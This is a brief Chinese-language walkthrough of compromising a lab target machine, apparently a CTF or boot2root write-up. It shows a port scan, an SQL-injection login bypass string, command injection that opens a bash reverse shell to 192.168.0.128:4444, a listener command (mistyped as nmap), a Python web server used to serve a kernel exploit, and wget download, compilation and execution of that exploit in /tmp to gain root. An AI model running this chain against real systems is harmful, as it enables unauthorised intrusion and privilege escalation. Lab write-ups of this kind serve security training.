找靶机，扫端口
没有验证机制
看的我都想暴力破解了
万能密码试一下
可以绕过
admin‘ or ’1‘=’1
抓包，这个样子
命令执行
192.168.0.128;bash -i >& /dev/tcp/192.168.0.128/4444 0>&1&
nmap -lnvp 4444
linux内核2.6.9
python -m SimpleHTTPServer 8080
cd /tmp
wget http：//192.168.0.128/1.c
gcc -o 9545 1.c
./9545
whoami
完成